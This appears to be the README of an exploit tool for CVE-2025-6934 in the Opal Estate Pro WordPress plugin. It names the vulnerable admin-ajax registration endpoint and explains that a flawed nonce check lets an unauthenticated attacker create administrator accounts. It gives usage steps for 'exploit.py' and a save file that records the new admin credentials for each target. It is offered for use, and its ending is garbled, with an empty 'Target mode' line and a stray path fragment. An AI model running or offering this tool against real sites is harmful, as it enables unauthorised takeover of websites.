
Opal Estate Pro <= 1.7.5 - Unauthenticated Privilege Escalation
CVE-2025-6934 is a critical vulnerability in the Opal Estate Pro WordPress plugin (≤ v1.7.5).
This bug allows an unauthenticated attacker to create a new administrator account by sending a crafted request to:
/wp-admin/admin-ajax.php?action=opalestate\_register\_form
The root cause lies in the nonce parsing (opalestate-register-nonce) during the registration process, which is not properly validated.
This flaw allows attackers to bypass normal registration and directly create a new account with administrator privileges.
Run the exploit tool with Python 3:
python3 exploit.py
You will be prompted for:
username > New admin account username
password > New admin account password
email > Email address for the new account
Target mode:
If successful, results are saved into save.txt in the format:
URL: https://example.com
USERNAME: admin123
PASSWORD: passw0rd!
EMAIL: [email protected]
ROLE: administrator
/wp-admin/admin-ajax.php if possible.